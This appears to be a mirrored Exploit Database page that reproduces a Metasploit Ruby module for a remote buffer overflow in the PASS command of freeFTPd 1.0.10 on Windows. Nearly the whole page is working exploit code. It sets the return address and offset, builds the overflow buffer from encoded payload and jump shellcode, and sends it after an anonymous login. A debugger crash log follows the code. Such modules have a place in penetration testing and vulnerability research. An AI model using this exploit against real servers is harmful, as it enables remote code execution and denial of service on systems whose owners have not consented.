freeFTPd 1.0.10 – ‘PASS’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 50 阅读

• 作者： Metasploit
  日期： 2013-10-02
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/28681/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::Ftp
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "freeFTPd PASS Command Buffer Overflow",
  'Description'=> %q{
  freeFTPd 1.0.10 and below contains an overflow condition that is triggered as
  user-supplied input is not properly validated when handling a specially crafted
  PASS command. This may allow a remote attacker to cause a buffer overflow,
  resulting in a denial of service or allow the execution of arbitrary code.
  
  FreeFTPd must have an account set to authorization anonymous user account.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Wireghoul', # Initial discovery, PoC
  'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
  ],
  'References' =>
  [
  ['OSVDB', '96517'],
  ['EDB', '27747'],
  ['BID', '61905']
  ],
  'Payload'=>
  {
  'BadChars' => "\x00\x0a\x0d",
  },
  'Platform' => 'win',
  'Arch' => ARCH_X86,
  'Targets'=>
  [
  ['freeFTPd 1.0.10 and below on Windows Desktop Version',
  {
  'Ret'=> 0x004014bb, # pop edi # pop esi # ret 0x04 [FreeFTPDService.exe]
  'Offset' => 801,
  }
  ],
  ],
  'Privileged' => false,
  'DisclosureDate' => "Aug 20 2013",
  'DefaultTarget'=> 0))
  
  register_options([
  OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ]),
  
  ], self.class)
  
  # We're triggering the bug via the PASS command, no point to have pass as configurable
  # option.
  deregister_options('FTPPASS')
  
  end
  
  def check
  
  connect
  disconnect
  
  # All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0"
  # when banner grabbing.
  if banner =~ /freeFTPd 1\.0/
  return Exploit::CheckCode::Detected
  else
  return Exploit::CheckCode::Safe
  
  end
  end
  
  def exploit
  
  connect
  print_status("Trying target #{target.name} with user #{user()}...")
  
  off = target['Offset'] - 9
  
  bof = payload.encoded
  bof << rand_text(off - payload.encoded.length)
  bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
  bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
  bof << rand_text(2)
  bof << [target.ret].pack('V')
  
  send_user(datastore['FTPUSER'])
  raw_send("PASS #{bof}\r\n")
  disconnect
  
  end
  end
  
  =begin
  (c78.ea4): Access violation - code c0000005 (first chance)
  First chance exceptions are reported before any exception handling.
  This exception may be expected and handled.
  eax=0012b324 ebx=01805f28 ecx=00000019 edx=00000057 esi=4141413d edi=00181e18
  eip=76c23e8d esp=0012b310 ebp=0012b328 iopl=0 nv up ei pl nz na pe nc
  cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206
  OLEAUT32!SysFreeString+0x55:
  76c23e8d ff36pushdword ptr [esi]ds:0023:4141413d=????????
  
  FAULTING_IP:
  OLEAUT32!SysFreeString+55
  76c23e8d ff36pushdword ptr [esi]
  
  EXCEPTION_RECORD:ffffffff -- (.exr 0xffffffffffffffff)
  ExceptionAddress: 76c23e8d (OLEAUT32!SysFreeString+0x00000055)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
  NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 4141413d
  Attempt to read from address 4141413d
  =end